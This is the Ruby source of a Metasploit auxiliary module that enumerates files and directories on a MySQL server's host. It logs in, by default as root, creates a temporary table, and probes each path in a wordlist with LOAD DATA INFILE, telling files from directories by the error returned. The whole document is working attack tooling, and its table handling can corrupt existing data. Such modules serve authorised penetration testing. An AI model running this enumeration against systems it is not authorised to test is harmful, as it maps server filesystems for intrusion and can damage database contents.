1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'yaml'
7

8
class MetasploitModule < Msf::Auxiliary
9
  include Msf::Exploit::Remote::MYSQL
10
  include Msf::Auxiliary::Report
11
  include Msf::Auxiliary::Scanner
12
  include Msf::OptionalSession::MySQL
13

14
  def initialize
15
    super(
16
      'Name' => 'MYSQL File/Directory Enumerator',
17
      'Description' => %Q{
18
          Enumerate files and directories using the MySQL load_file feature, for more
19
        information see the URL in the references.
20
      },
21
      'Author' => [ 'Robin Wood <robin[at]digininja.org>' ],
22
      'References' => [
23
        [ 'URL', 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ],
24
        [ 'URL', 'http://www.digininja.org/projects/mysql_file_enum.php' ]
25
      ],
26
      'License' => MSF_LICENSE
27
    )
28

29
    register_options([
30
      OptPath.new('FILE_LIST', [ true, "List of directories to enumerate", '' ]),
31
      OptString.new('DATABASE_NAME', [ true, "Name of database to use", 'mysql' ]),
32
      OptString.new('TABLE_NAME', [ true, "Name of table to use - Warning, if the table already exists its contents will be corrupted", Rex::Text.rand_text_alpha(8) ]),
33
      OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
34
    ])
35
  end
36

37
  # This function does not handle any errors, if you use this
38
  # make sure you handle the errors yourself
39
  def mysql_query_no_handle(sql)
40
    res = self.mysql_conn.query(sql)
41
    res
42
  end
43

44
  def run_host(ip)
45
    vprint_status("Login...") unless session
46

47
    # If we have a session make use of it
48
    if session
49
      print_status("Using existing session #{session.sid}")
50
      self.mysql_conn = session.client
51
    else
52
      # otherwise fallback to attempting to login
53
      return unless mysql_login_datastore
54
    end
55

56
    begin
57
      mysql_query_no_handle("USE " + datastore['DATABASE_NAME'])
58
    rescue ::Rex::Proto::MySQL::Client::Error => e
59
      vprint_error("MySQL Error: #{e.class} #{e.to_s}")
60
      return
61
    rescue Rex::ConnectionTimeout => e
62
      vprint_error("Timeout: #{e.message}")
63
      return
64
    end
65

66
    res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';")
67
    table_exists = (res.size == 1)
68

69
    if !table_exists
70
      vprint_status("Table doesn't exist so creating it")
71
      mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);")
72
    end
73

74
    file = File.new(datastore['FILE_LIST'], "r")
75
    file.each_line do |line|
76
      check_dir(line.chomp)
77
    end
78
    file.close
79

80
    if !table_exists
81
      vprint_status("Cleaning up the temp table")
82
      mysql_query("DROP TABLE " + datastore['TABLE_NAME'])
83
    end
84
  end
85

86
  def check_dir dir
87
    begin
88
      res = mysql_query_no_handle("LOAD DATA INFILE '" + dir + "' INTO TABLE " + datastore['TABLE_NAME'])
89
    rescue ::Rex::Proto::MySQL::Client::TextfileNotReadable
90
      print_good("#{dir} is a directory and exists")
91
      report_note(
92
        :host => mysql_conn.peerhost,
93
        :type => "filesystem.dir",
94
        :data => { :directory => dir },
95
        :port => mysql_conn.peerport,
96
        :proto => 'tcp',
97
        :update => :unique_data
98
      )
99
    rescue ::Rex::Proto::MySQL::Client::DataTooLong, ::Rex::Proto::MySQL::Client::TruncatedWrongValueForField
100
      print_good("#{dir} is a file and exists")
101
      report_note(
102
        :host => mysql_conn.peerhost,
103
        :type => "filesystem.file",
104
        :data => { :directory => dir },
105
        :port => mysql_conn.peerport,
106
        :proto => 'tcp',
107
        :update => :unique_data
108
      )
109
    rescue ::Rex::Proto::MySQL::Client::ServerError
110
      vprint_warning("#{dir} does not exist")
111
    rescue ::Rex::Proto::MySQL::Client::Error => e
112
      vprint_error("MySQL Error: #{e.class} #{e.to_s}")
113
      return
114
    rescue Rex::ConnectionTimeout => e
115
      vprint_error("Timeout: #{e.message}")
116
      return
117
    else
118
      print_good("#{dir} is a file and exists")
119
      report_note(
120
        :host => mysql_conn.peerhost,
121
        :type => "filesystem.file",
122
        :data => { :file => dir },
123
        :port => mysql_conn.peerport,
124
        :proto => 'tcp',
125
        :update => :unique_data
126
      )
127
    end
128

129
    return
130
  end
131
end
132

133